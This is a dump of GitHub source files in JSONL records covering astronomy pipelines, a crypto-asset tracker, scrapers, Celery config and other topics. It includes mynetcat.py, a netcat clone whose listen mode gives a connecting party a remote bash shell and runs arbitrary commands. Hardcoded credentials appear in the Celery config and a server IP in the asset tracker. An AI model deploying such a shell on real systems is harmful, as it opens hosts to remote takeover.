z_log_var) * epsilon\n\n\n@jit(parallel=True)\ndef check(data, flag):\n correct= 0\n for i in prange(len(data)):\n if data[i] == flag:\n correct+=1\n return correct\n\ndef recombine(data):\n result = []\n for k in range(data.shape[0]//6):\n result.append(data[k*6:(k+1)*6,:].ravel())\n result = np.array(result)\n return result\n\ndef search(data, model, forest, flag, thresh=0.5):\n SNR = []\n for i in range(data.shape[0]):\n SNR.append(data[i].max()/np.mean(data[i]))\n print(data.shape)\n for i in range(data.shape[0]):\n data[i,:,:,:] = pre_proc(data[i,:,:,:] )\n num_samples = data.shape[0]\n cadence_length = data.shape[1]\n data = data[..., np.newaxis]\n \n print(\"Collapse Data\")\n data = combine(data)\n print(\"Push Through Neural Net\")\n net = time.time()\n result = model.predict(data, batch_size=5000, use_multiprocessing =True)[2]\n print(\"Parallel Random Forest Clustering\")\n cluster = time.time()\n result = recombine(result)\n result = forest.predict_proba(result)\n if flag:\n mean = np.mean(result[:,1])\n else:\n mean = np.mean(result[:,0])\n labels = check_data(result, thresh)\n print(check(labels, flag)/len(labels), mean)\n return check(labels, flag)/len(labels), mean\n","repo_name":"PetchMa/ML_GBT_SETI","sub_path":"GBT_pipeline/single_search_RF.py","file_name":"single_search_RF.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"52"} +{"seq_id":"13522131038","text":"from .h05_hmysql import Mysql\r\nimport sys\r\nimport os\r\nimport time,datetime\r\nfrom pprint import pprint\r\n\r\n\r\ndef main():\r\n a = getres()\r\n print(a)\r\n\r\ndef save_data(data,t):\r\n for da in data:\r\n name,value_int,value_wei,volume = da\r\n MYSQL.exec('insert into assets_value values(null,\"%s\",%s,%s,%s,%s);'%\r\n (name,value_int,value_wei,volume,t))\r\n\r\ndef change_fund(asset_name,volume,exchange_name,create_time=None):\r\n if not create_time:\r\n create_time = int(time.time())\r\n MYSQL.exec('insert into my_assets values(null,\"%s\",%s,\"%s\",%s);'%\r\n (asset_name,volume,exchange_name,create_time))\r\n\r\n\r\n\r\ndef get_all_amount_all_exchange():\r\n sql_s = '''\r\n SELECT exchange,name,sum(volume) from my_assets group by exchange,name;\r\n '''\r\n data = MYSQL.get_exec(sql_s)\r\n [ print('%10s %10s %10s'% (da[0],da[1],int(da[2])) ) for da in data ]\r\n\r\n sql_s = '''\r\n SELECT name,exchange,sum(volume) from my_assets group by name asc,exchange;\r\n '''\r\n data = MYSQL.get_exec(sql_s)\r\n [ print('%10s %10s %10s'% (da[0],da[1],int(da[2])) ) for da in data ]\r\n\r\n\r\ndef get_all_amount_by_exchange():\r\n\r\n data = MYSQL.get_exec(\r\n '''\r\n SELECT exchange,sum(fund) as fund from\r\n \r\n (SELECT t1.volume*t2.value_int/power(10,value_wei) as fund,exchange\r\n FROM my_assets as t1\r\n LEFT JOIN (\r\n SELECT t1.id,t1.name,value_int,value_wei from (select name,max(id) as id from assets_value group by name) as t1\r\n LEFT JOIN assets_value as t2 on t1.id = t2.id\r\n ) as t2 \r\n ON t1.name=t2.name) as tt\r\n group by exchange\r\n ;\r\n '''\r\n )\r\n # pprint(data)\r\n res = 0\r\n for da in data:\r\n if da[1]:\r\n res += da[1]\r\n\r\n\r\n\r\n lst = []\r\n for da in data:\r\n if da[1]:\r\n lst.append([da[0],da[1],da[1]/res *100])\r\n lst.sort(key=lambda x:x[2])\r\n\r\n res = []\r\n for l in lst:\r\n res.append('%10s %10d %7.3f%%' % (l[0],l[1]/10,l[2]))\r\n return res\r\n\r\n\r\n\r\n\r\n\r\ndef get_all_amount_by_coin():\r\n\r\n data = MYSQL.get_exec(\r\n '''\r\n SELECT t1.name,t1.volume*t2.value_int/power(10,value_wei) as fund,t1.volume\r\n FROM (select name,sum(volume) as volume from my_assets group by name) as t1\r\n LEFT JOIN (\r\n SELECT t1.id,t1.name,value_int,value_wei from (select name,max(id) as id from assets_value group by name) as t1\r\n LEFT JOIN assets_value as t2 on t1.id = t2.id\r\n ) as t2 \r\n ON t1.name=t2.name;\r\n '''\r\n )\r\n # LEFT JOIN (select a.* from assets_value as a where id = (select max(id) from assets_value where a.name=name)) as t2 \r\n # pprint(data)\r\n # \r\n # \r\n # \r\n # \r\n\r\n\r\n res = 0\r\n for da in data:\r\n if da[1]:\r\n res += da[1]\r\n date = MYSQL.get_exec('SELECT create_time from assets_value group by id desc limit 1;')\r\n\r\n\r\n timeStamp = int(date[0][0])\r\n\r\n\r\n timeArray = time.localtime(timeStamp)\r\n otherStyleTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\r\n # print(otherStyleTime)\r\n thelastreslst = []\r\n # print(res)\r\n thelastreslst.append(otherStyleTime)\r\n thelastreslst.append('%.3f' %(res/10))\r\n\r\n\r\n\r\n lst = []\r\n for da in data:\r\n if da[1]:\r\n date = MYSQL.get_exec('SELECT create_time from assets_value where name = \"%s\" group by id desc limit 1;' % da[0])\r\n \r\n lst.append([da[0],da[1]/10,da[1]/res *100,int(da[2]),da[1]/int(da[2]),'*' if int(date[0][0]) + 20 * 60 < time.time() else '' ])\r\n lst.sort(key=lambda x:x[2])\r\n # pprint(lst) \r\n for l in lst:\r\n x = ('%10s %10d %7.3f%% %10s %10.4f%s'% (*l,) )\r\n thelastreslst.append(x)\r\n\r\n\r\n x = []\r\n labels = []\r\n for l in lst:\r\n x.append(l[2])\r\n labels.append(l[0])\r\n\r\n if timeStamp + 20 * 60 < time.time():\r\n ss = '---------------------------------------------------time over---------------------------------------------------'\r\n thelastreslst.insert(0,ss)\r\n else:\r\n thelastreslst.insert(0,'ok')\r\n\r\n return thelastreslst\r\n\r\ndef getres():\r\n global MYSQL\r\n MYSQL = Mysql('120.79.41.9','my_blockchain_assets','my_blockchain_assets',db='my_blockchain_assets')\r\n \r\n\r\n\r\n res1 = get_all_amount_by_exchange()\r\n\r\n res2 = get_all_amount_by_coin()\r\n\r\n res = res2[:3] + ['\\n'] + res1 + ['\\n'] + res2[3:]\r\n\r\n return res\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"missing64001/know","sub_path":"kqj/data/myasset/get_asset_data.py","file_name":"get_asset_data.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"26146462264","text":"import pandas as pd\nimport datetime\n\ndef get_league(year):\n try:\n f = \"data/\"+str(year)+\".csv\"\n result = pd.read_csv(f)\n result[\"Date\"] = result.Date.apply(lambda x :\\\n datetime.datetime.strptime(x,\"%d/%m/%y\"))\n return result\n except FileNotFoundError as e:\n raise ValueError(\"Year \"+str(year)+\" : no datafile match.\")\n","repo_name":"tehlinger/soccer_predictor","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10036775869","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport threading\nimport os\nimport logging\nimport selectors\nimport select\nfrom socket import *\nimport sys\nimport subprocess\nimport argparse\n\n\nsel = selectors.DefaultSelector()\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"host\", help=\"host to connect to\", action=\"store\", nargs = '?', default='0.0.0.0')\n parser.add_argument(\"port\", type=int, help=\"port to connect to\", action=\"store\")\n parser.add_argument(\"--listen\", \"-l\", help=\"bind and listen for incoming connections\", action=\"store_true\")\n parser.add_argument(\"--shell\", \"-c\", help=\"initialise a command shell\", action=\"store_true\")\n parser.add_argument(\"--execute\", \"-e\", help=\"execute the given file\", action=\"store\")\n parser.add_argument(\"--upload\", \"-u\", help=\"upload file to destination\", action=\"store\")\n parser.add_argument(\"--verbose\", \"-v\", help=\"verbose\", action=\"store_true\")\n args = parser.parse_args()\n return args\n\ndef connect_host(host, port):\n s = socket(AF_INET, SOCK_STREAM)\n try:\n s.connect((host, port))\n logging.info(f\"[+] Connection to {host}:{port} was successful\")\n except:\n logging.critical('Failed to connect. Ditching...')\n exit()\n\n while True:\n socket_list = [sys.stdin, s]\n read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])\n\n for sock in read_sockets:\n if sock == s:\n data = sock.recv(4096)\n if not data:\n logging.error (\"Connection closed\")\n exit()\n else:\n sys.stdout.write(data.decode())\n else:\n # user input\n msg = sys.stdin.readline()\n s.send(msg.encode())\n\ndef just_listen(conn):\n logging.debug(\"Just listening...\")\n while True:\n socket_list = [sys.stdin, conn]\n read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])\n\n for sock in read_sockets:\n if sock == conn:\n data = conn.recv(4096)\n if not data:\n logging.info(\"Connection closed\")\n return\n else:\n sys.stdout.write(data.decode())\n else:\n # user input\n msg = sys.stdin.readline()\n conn.send(msg.encode())\n\ndef upload(conn, filename):\n with open(filename, 'rb') as f:\n conn.send(f.read())\n\n\ndef execute_file(conn, executable):\n cmd = list(executable.split())\n logging.info(f\"cmd {cmd}\")\n logging.info(f\"executable {executable}\")\n out = subprocess.check_output(executable, shell=True)\n conn.send(out)\n\ndef spawn_shell(conn):\n while True:\n conn.send(b\"Shell> \")\n data = conn.recv(1024)\n cmd = data.decode()\n logging.debug(f\"cmd: {cmd}\")\n logging.debug(f\"data: {data}\")\n try:\n out = subprocess.check_output(cmd, shell=True)\n conn.send(out)\n except KeyboardInterrupt :\n break\n except:\n continue\n\ndef main():\n args = parse_arguments()\n\n if args.verbose:\n logging.basicConfig(format='%(funcName)s():%(message)s', level=logging.DEBUG)\n else:\n logging.basicConfig(format='%(funcName)s():%(message)s', level=logging.CRITICAL)\n\n if args.listen:\n with socket(AF_INET, SOCK_STREAM) as s:\n s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n s.bind((args.host, args.port))\n s.listen()\n conn, addr = s.accept()\n with conn:\n logging.info(f\"Connection by {addr}\")\n if args.upload:\n upload(conn, args.upload)\n elif args.execute:\n execute_file(conn, args.execute)\n elif args.shell:\n # spawn_shell(conn)\n bettershell(conn)\n else:\n just_listen(conn)\n\n else: # connect to host, port\n connect_host(args.host, args.port)\n\ndef bettershell(conn):\n shell = BetterShell()\n shell.run(conn)\n\n\nclass BetterShell(object):\n def __init__(self):\n pass\n\n def run(self, conn):\n env = os.environ.copy()\n p = subprocess.Popen('/bin/bash', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True, env=env)\n sys.stdout.write(\"Started Local Terminal...\\r\\n\\r\\n\")\n\n def writeall(p):\n while True:\n data = p.stdout.read(1)\n if not data:\n break\n conn.send(data)\n\n writer = threading.Thread(target=writeall, args=(p,))\n writer.start()\n\n try:\n while True:\n # d = sys.stdin.read(1)\n d = conn.recv(1)\n if not d:\n break\n self._write(p, d)\n\n except EOFError:\n pass\n\n def _write(self, process, message):\n process.stdin.write(message)\n process.stdin.flush()\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nilminus/pwn","sub_path":"mynetcat.py","file_name":"mynetcat.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36658021931","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 4 23:22:21 2020\n\n@author: campb\n\nThe purpose of this file is to retrieve and set Forex rates.\nRight now the only rate in the model is USD/AUD\n\nTO DO: Make progress bar for cmd line IF forex retrieval becomes more complex\n\"\"\"\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom mtgdatabase.models import Forex\nfrom datetime import datetime\nimport requests, json\n\nclass Command(BaseCommand):\n \n def handle(self, *args, **kwargs):\n \n \"\"\"\n ===============================================================\n START DB SETTERS\n ===============================================================\n \"\"\"\n \n def update_latest_rate(price, forex):\n forex.rate = price\n forex.edit_time = datetime.today().strftime(\"%Y-%m-%d\")\n forex.save()\n \n \"\"\"\n ===============================================================\n END DB SETTERS\n ===============================================================\n \"\"\"\n \n with open(\"mtgdatabase\\static\\mtgdatabase\\json\\credentials.json\", \"r\") as read_file:\n credentials_data = json.load(read_file)\n \n KEY = credentials_data[\"currency-converter\"][\"x-rapidapi-key\"]\n HOST = credentials_data[\"currency-converter\"][\"x-rapidapi-host\"] \n \n url = \"https://currency-converter5.p.rapidapi.com/currency/convert\"\n \n querystring = {\"format\":\"json\",\"from\":\"USD\",\"to\":\"AUD\",\"amount\":\"1\"}\n \n headers = {\n 'x-rapidapi-key': KEY,\n 'x-rapidapi-host': HOST\n }\n \n try:\n req = requests.get(url, headers=headers, params=querystring)\n req.raise_for_status()\n payload = json.loads(req.text)\n price = payload[\"rates\"][\"AUD\"][\"rate\"]\n except requests.exceptions.HTTPError as e:\n print(e.response.text)\n \"\"\"\n No longer set price here as it impedes debugging,\n if vendor service has a policy change.\n \"\"\"\n \n fxPair = Forex.objects.filter(pair__exact=\"USD/AUD\").first()\n \n update_latest_rate(price, fxPair)\n \n print(\"Forex price update complete.\")","repo_name":"watsondr/mtg-value-tracker","sub_path":"mtgdatabase/management/commands/forex_retriever.py","file_name":"forex_retriever.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32353155842","text":"import scrapy\r\nfrom qiubai.items import QiubaiItem\r\n\r\n\r\nclass qiubaispider(scrapy.Spider):\r\n name = 'qiubai'\r\n print('\\n\\n\\n\\n这是一只测试爬虫。\\n\\n\\n\\n交流AND370yeah@163.com\\n\\n\\n')\r\n start_urls = ['https://www.qiushibaike.com/']\r\n def parse(self, response):\r\n \r\n content =response.xpath(\"//div[@class='content']/span\").extract()\r\n newcontent=[cont.replace(' ','').replace('\\n','').replace('','').replace('
','').replace('
','').replace('查看全文','') for cont in content]\r\n qb_image_url=response.xpath(\"//div[@id='content-left']//div[@class='thumb']//img/@src\").extract()\r\n \r\n item=QiubaiItem()\r\n item['content']=newcontent\r\n item['image_urls']=qb_image_url\r\n yield item\r\n","repo_name":"And370/qiubai","sub_path":"qiubai/spiders/qiubai.py","file_name":"qiubai.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3936681878","text":"\"\"\"\nhttps://leetcode.com/problems/find-lucky-integer-in-an-array/\nGiven an array of integers arr, a lucky integer is an integer which has a frequency in the array equal to its value.\n\nReturn a lucky integer in the array. If there are multiple lucky integers return the largest of them. \nIf there is no lucky integer return -1.\n\n \n\nExample 1:\n\nInput: arr = [2,2,3,4]\nOutput: 2\nExplanation: The only lucky number in the array is 2 because frequency[2] == 2.\nExample 2:\n\nInput: arr = [1,2,2,3,3,3]\nOutput: 3\nExplanation: 1, 2 and 3 are all lucky numbers, return the largest of them.\nExample 3:\n\nInput: arr = [2,2,2,3,3]\nOutput: -1\nExplanation: There are no lucky numbers in the array.\nExample 4:\n\nInput: arr = [5]\nOutput: -1\nExample 5:\n\nInput: arr = [7,7,7,7,7,7,7]\nOutput: 7\n\"\"\"\n\n\nclass Solution:\n def findLucky(self, arr):\n res = []\n for a in arr:\n if arr.count(a) == a:\n res.append(a)\n if res:\n return max(res)\n return -1\n\n\nS = Solution()\narr = [5, 6, 7]\nprint(S.findLucky(arr))\n","repo_name":"wenjiaaa/Leetcode","sub_path":"P1001_P1500/1394-find-lucky-integer-in-an-array.py","file_name":"1394-find-lucky-integer-in-an-array.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"36503462598","text":"from __future__ import absolute_import, unicode_literals\nfrom celery import Celery\nimport os\nimport logging\nfrom django.conf import settings\nfrom celery.schedules import crontab\n\nlogger = logging.getLogger(\"Celery\")\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mysite.settings')\n\napp = Celery('mysite')\n\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.autodiscover_tasks(lambda: settings.INSTALLED_APPS)\n\n\n@app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n\n\nif settings.PROD:\n app.conf.update(\n BROKER_URL='redis://:{password}@redis:6379/0'.format(password=os.environ.get('REDIS_PASSWORD')),\n CELERY_RESULT_BACKEND='redis://:{password}@redis:6379/1'.format(password=os.environ.get('REDIS_PASSWORD')),\n CELERYBEAT_SCHEDULER='django_celery_beat.schedulers:DatabaseScheduler',\n CELERY_DISABLE_RATE_LIMITS=True,\n CELERY_ACCEPT_CONTENT=['json', ],\n CELERY_TASK_SERIALIZER='json',\n CELERY_RESULT_SERIALIZER='json',\n )\nelse:\n app.conf.update(\n BROKER_URL='redis://:dKqs72RhtaPPYyfN@redis:6379/0',\n CELERY_RESULT_BACKEND='redis://:dKqs72RhtaPPYyfN@redis:6379/1',\n CELERYBEAT_SCHEDULER='django_celery_beat.schedulers:DatabaseScheduler',\n CELERY_DISABLE_RATE_LIMITS=True,\n CELERY_ACCEPT_CONTENT=['json', ],\n CELERY_TASK_SERIALIZER='json',\n CELERY_RESULT_SERIALIZER='json',\n )\n#\napp.conf.beat_schedule = {\n 'update_user_age_average_daily': {\n 'task': 'users.tasks.update_user_average',\n 'schedule': crontab(minute=\"00\", hour=\"00\", day_of_month=\"*\", month_of_year=\"*\", day_of_week=\"*\"),\n },\n}\napp.conf.timezone = 'Europe/Berlin'\n","repo_name":"mastershaig/users-api","sub_path":"mysite/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"9698419603","text":"#__author__ = 'vestrada'\n\nimport numpy as np\nimport pandas as pd\nfrom astropy.io import fits\nfrom astropy.table import Table\nfrom scipy.interpolate import interp1d, interp2d\nfrom spec_id_2d import args\nfrom scipy import stats\nfrom glob import glob\nimport os\nfrom grizli import multifit\nfrom grizli import model\nfrom astropy.cosmology import FlatLambdaCDM\ncosmo = FlatLambdaCDM(H0=70, Om0=0.3)\nimport fsps\n\nhpath = os.environ['HOME'] + '/'\n\nif hpath == '/home/vestrada78840/':\n data_path = '/scratch/user/vestrada78840/data/'\n model_path ='/scratch/user/vestrada78840/fsps_spec/'\n chi_path = '/scratch/user/vestrada78840/chidat/'\n spec_path = '/scratch/user/vestrada78840/spec/'\n beam_path = '/scratch/user/vestrada78840/beams/'\n template_path = '/scratch/user/vestrada78840/data/'\n out_path = '/scratch/user/vestrada78840/chidat/'\n phot_path = '/scratch/user/vestrada78840/phot/'\n alma_path = '/scratch/user/vestrada78840/Alma_files/'\n mfit_path = '/scratch/user/vestrada78840/multifit_data/'\n mask_path = '/scratch/user/vestrada78840/spec/mask/'\n\nelse:\n data_path = '../data/'\n model_path = hpath + 'fsps_models_for_fit/fsps_spec/'\n chi_path = '../chidat/'\n spec_path = '../spec_files/'\n beam_path = '../beams/'\n template_path = '../templates/'\n out_path = '../data/posteriors/'\n phot_path = '../phot/'\n alma_path = '../Alma_files/'\n mfit_path = '../data/multifit_data/'\n mask_path = '../spec_files/mask/'\n\"\"\"\ndef:\n-load_spec\n-load_phot_precalc\n-load_beams_and_trns\n-apply_tmp_err\n-init_sim\n-forward_model_grism\n-forward_model_phot\n-Calzetti_low\n-Calzetti_hi\n-Calzetti\n-Salmon_low\n-Salmon_hi\n-Salmon\n-Chi_Squared\n-L_nu_per_M\n-F_nu_per_M\n-F_lam_per_M\n-Get_mass\n\"\"\" \n\ndef Oldest_galaxy(z):\n return cosmo.age(z).value\n\ndef Scale_model(D, sig, M):\n return np.sum(((D * M) / sig ** 2)) / np.sum((M ** 2 / sig ** 2))\n\ndef load_spec(field, galaxy_id, instr, lims, specz, grism = True, select = None, auto_select = False, decontam = True):\n # if loading photometry FLT stands in for num\n bfilters = [34, 36, 37, 58, 117, 118, 195, 196, 220, 224]\n\n if grism:\n W, F, E, FLT, L, C = np.load(spec_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n section_db = pd.read_pickle(spec_path + 'all_section.pkl')\n \n IDX = [U for U in range(len(W)) if lims[0] <= W[U] <= lims[-1] and F[U]**2 > 0]\n\n W = np.array(W[IDX])\n WRF = np.array(W / (1 + specz))\n FLT = np.array(FLT[IDX])\n F = np.array(F[IDX]) \n E = np.array(E[IDX]) \n L = np.array(L[IDX]) \n C = np.array(C[IDX]) \n \n if auto_select:\n if instr == 'g102':\n srange = [section_db.query('id == {0}'.format(galaxy_id)).bllim.values[0],\n section_db.query('id == {0}'.format(galaxy_id)).bhlim.values[0]]\n if instr == 'g141': \n srange = [section_db.query('id == {0}'.format(galaxy_id)).rllim.values[0],\n section_db.query('id == {0}'.format(galaxy_id)).rhlim.values[0]]\n \n IDT = np.repeat(False, len(W))\n\n for i in range(len(IDX)):\n if srange[0] < W[i] < srange[1]:\n IDT[i] = True\n \n else:\n if select != None:\n IDT = np.repeat(False, len(W))\n\n for i in range(len(IDX)):\n if select[0] < W[i] < select[1]:\n IDT[i] = True\n else:\n IDT = np.repeat(True, len(W))\n\n if decontam and os.path.isfile(spec_path + 'mask/{0}_{1}_mask.npy'.format(field, galaxy_id)):\n MASK = np.load(spec_path + 'mask/{0}_{1}_mask.npy'.format(field, galaxy_id),allow_pickle=True)\n \n for m in MASK:\n for i in range(len(W)):\n if m[0] < W[i] < m[1]:\n IDT[i] = False\n \n \n return W[IDT], WRF[IDT], F[IDT], E[IDT], FLT[IDT], np.array(IDX)[IDT], L[IDT], C[IDT]\n \n else:\n W, F, E, FLT = np.load(phot_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n WRF = W / (1 + specz)\n \n IDX = []\n \n for i in range(len(FLT)):\n if FLT[i] not in bfilters and F[i] / E[i] > 0.5:\n IDX.append(i)\n \n W, WRF, F, E, FLT = W[IDX], WRF[IDX], F[IDX], E[IDX], FLT[IDX]\n \n W, WRF, F, E, FLT = W[F > 0], WRF[F > 0], F[F > 0], E[F > 0], FLT[F > 0]\n \n return W, WRF, F, E, FLT\n \ndef load_ALMA_spec(field, galaxy_id, instr, lims, specz, grism = True, trim = None):\n # if loading photometry FLT stands in for num\n bfilters = [34, 36, 37, 58, 117, 118, 195, 196, 220, 224]\n\n if grism:\n W, F, E, FLT, L, C = np.load(alma_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n IDX = [U for U in range(len(W)) if lims[0] <= W[U] <= lims[-1] and F[U]**2 > 0]\n\n W = np.array(W[IDX])\n WRF = np.array(W / (1 + specz))\n FLT = np.array(FLT[IDX])\n F = np.array(F[IDX]) \n E = np.array(E[IDX]) \n L = np.array(L[IDX]) \n C = np.array(C[IDX]) \n \n if trim == None:\n trim = 0 \n\n return W[WRF > trim], WRF[WRF > trim], F[WRF > trim], E[WRF > trim], FLT[WRF > trim], np.array(IDX)[WRF > trim], L[WRF > trim], C[WRF > trim]\n\n else:\n W, F, E, FLT = np.load(alma_path + '{0}_{1}_{2}.npy'.format(field, galaxy_id, instr),allow_pickle=True)\n \n WRF = W / (1 + specz)\n \n IDX = []\n \n for i in range(len(FLT)):\n if FLT[i] not in bfilters and F[i] / E[i] > 0.5:\n IDX.append(i)\n \n W, WRF, F, E, FLT = W[IDX], WRF[IDX], F[IDX], E[IDX], FLT[IDX]\n \n W, WRF, F, E, FLT = W[F > 0], WRF[F > 0], F[F > 0], E[F > 0], FLT[F > 0]\n \n if trim == None:\n trim = 0 \n \n return W[WRF > trim], WRF[WRF > trim], F[WRF > trim], E[WRF > trim], FLT[WRF > trim] \n \ndef load_phot_precalc(Pnum):\n MDF = pd.read_pickle(phot_path + 'model_photometry_list.pkl')\n\n IDP = []\n for i in range(len(Pnum)):\n for ii in range(len(MDF)):\n if Pnum[i] == MDF.tmp_num[MDF.index[ii]]:\n IDP.append(ii)\n\n ### Define precalculated terms for photometry\n SWV, TR = np.load(template_path + 'master_tmp.npy',allow_pickle=True)\n B = np.load(template_path + 'bottom_precalc.npy',allow_pickle=True)\n DNU = np.load(template_path + 'dnu_precalc.npy',allow_pickle=True)\n ADJ = np.load(template_path + 'adj_precalc.npy',allow_pickle=True)\n MFWV = np.load(template_path + 'effwv_precalc.npy',allow_pickle=True) \n \n return MDF, IDP, SWV, TR, B, DNU, ADJ, MFWV\n \n\n \n\"\"\"def load_beams_and_trns(wv, beam):\n ### Set transmission curve\n sp = fsps.StellarPopulation(imf_type = 0, tpagb_norm_type=0, zcontinuous = 1, logzsol = np.log10(0.002/0.019), \n sfh = 4, tau = 0.6, dust_type = 1)\n\n model_wave, model_flux = sp.get_spectrum(tage = 3.6, peraa = True)\n\n ### set beams\n BEAMS = []\n TRANS = []\n \n for i in beam:\n Beam = model.BeamCutout(fits_file = i)\n\n W, F = forward_model_grism(Beam, model_wave, np.ones(len(model_wave)))\n trans = interp1d(W,F)(wv) \n \n BEAMS.append(Beam)\n TRANS.append(trans)\n \n return BEAMS, TRANS\"\"\"\n\ndef load_beams_and_trns(wv, field, galaxy_id, instr):\n ### Set transmission curve\n sp = fsps.StellarPopulation(imf_type = 0, tpagb_norm_type=0, zcontinuous = 1, logzsol = np.log10(0.002/0.019), \n sfh = 4, tau = 0.6, dust_type = 1)\n\n model_wave, model_flux = sp.get_spectrum(tage = 3.6, peraa = True)\n\n ### set beams\n BEAMS = []\n\n blist = glob(beam_path + '*{}*_*{}*'.format(field[1], galaxy_id) )\n\n for b in blist: \n mb = multifit.MultiBeam(b,**args)\n\n PAlist = []\n\n for bm in mb.beams:\n if bm.grism.filter == instr:\n if bm.get_dispersion_PA() not in PAlist:\n PAlist.append(bm.get_dispersion_PA())\n BEAMS.append(bm)\n\n TRANS = []\n\n for i in BEAMS:\n W, F = forward_model_grism(i, model_wave, np.ones(len(model_wave)))\n trans = interp1d(W,F)(wv) \n TRANS.append(trans)\n\n return BEAMS, TRANS\n\n\ndef apply_tmp_err(wv, wv_rf, er, flx, instr, mdl_err = True):\n \n if mdl_err:\n if instr == 'P':\n WV_RF, MEF = np.load(template_path + 'P_mdl_EF.npy',allow_pickle=True)\n WV, IEF = np.load(template_path + 'P_inst_EF.npy',allow_pickle=True)\n \n iMEF = interp1d(WV_RF,MEF)(wv_rf)\n iIEF = interp1d(WV,IEF)(wv)\n\n if instr == 'R':\n WV_RF, MEF = np.load(template_path + 'R_mdl_EF.npy',allow_pickle=True)\n WV, IEF = np.load(template_path + 'R_inst_EF.npy',allow_pickle=True)\n \n iMEF = interp1d(WV_RF,MEF)(wv_rf)\n iIEF = interp1d(WV,IEF)(wv)\n \n if instr == 'B':\n iMEF =0\n iIEF = 0\n \n er = np.sqrt(er**2 + (0.5 * iMEF*flx)**2 + (0.5 * iIEF*flx)**2)\n return er\n\ndef apply_phot_err(flx, er, num, base_err = 0, irac_err = None):\n er = np.array(er)\n irac_nums = [18,19,20,21]\n \n if irac_err == None:\n irac_err = base_err\n \n for i in range(len(num)):\n if num[i] in irac_nums:\n er[i] = np.sqrt(er[i]**2 + (irac_err*flx[i])**2)\n else:\n er[i] = np.sqrt(er[i]**2 + (base_err*flx[i])**2)\n return er\n\ndef init_sim(model_wave, model_fl, specz, bwv, rwv, bflx, rflx, pflx, berr, rerr, perr, phot_err,\n btrans, rtrans, bbeam, rbeam, IDP, sens_wv, b, dnu, adj, rndstate = 10, perturb = True): \n # make models\n SPfl = forward_model_phot(model_wave*(1 + specz), model_fl, IDP, sens_wv, b, dnu, adj)\n\n Bmf = forward_model_all_beams(bbeam, btrans, bwv, model_wave*(1 + specz), model_fl)\n Rmf = forward_model_all_beams(rbeam, rtrans, rwv, model_wave*(1 + specz), model_fl)\n \n Bnoise = berr / bflx\n Rnoise = rerr / rflx\n Pnoise = perr / pflx\n \n SPerr = SPfl * Pnoise\n SBer = Bmf * Bnoise\n SRer = Rmf * Rnoise\n \n SPflx = SPfl\n SBfl = Bmf\n SRfl = Rmf\n\n if perturb:\n SPflx = SPflx + stats.norm.rvs(size = len(SPerr), random_state = rndstate) * SPerr\n SBfl = SBfl + stats.norm.rvs(size = len(SBer), random_state = rndstate + 1) * SBer\n SRfl = SRfl + stats.norm.rvs(size = len(SRer), random_state = rndstate + 2) * SRer\n \n return SBfl, SBer, SRfl, SRer, SPflx, SPerr\n\ndef forward_model_grism(BEAM, model_wave, model_flux):\n ### creates a model using an individual beam\n BEAM.beam.compute_model(spectrum_1d=[model_wave, model_flux])\n w, f, e = BEAM.beam.optimal_extract(BEAM.beam.model, bin=0)\n return w, f\n\ndef forward_model_phot(model_wave, model_flux, IDP, sens_wv, b, dnu, adj):\n c = 3E18\n\n imfl =interp1d(c / model_wave, (c/(c / model_wave)**2) * model_flux)\n\n mphot = (np.trapz(imfl(c /(sens_wv[IDP])).reshape([len(IDP),len(sens_wv[0])]) \\\n * b[IDP], dnu[IDP])/np.trapz(b[IDP], dnu[IDP])) * adj[IDP]\n return np.array(mphot)\n\n\ndef forward_model_all_beams(beams, trans, in_wv, model_wave, model_flux):\n FL = np.zeros([len(beams),len(in_wv)])\n\n for i in range(len(beams)):\n mwv, mflx = forward_model_grism(beams[i], model_wave, model_flux)\n FL[i] = interp1d(mwv, mflx)(in_wv)\n FL[i] /= trans[i]\n\n return np.mean(FL.T,axis=1)\n\n\ndef decontaminate(W, WRF, F, E, FLT, IDX, L, C):\n IDC = []\n \n for i in range(len(W)):\n if (C[i] + E[i]) > L[i]:\n IDC.append(i)\n\n W = W[IDC]\n WRF = WRF[IDC]\n F = F[IDC]\n E = E[IDC]\n FLT = FLT[IDC]\n IDX = np.array(IDX)[IDC]\n L = L[IDC]\n C = C[IDC]\n \n return W, WRF, F, E, FLT, IDX, L, C\n\ndef get_mask(field, galaxy_id, 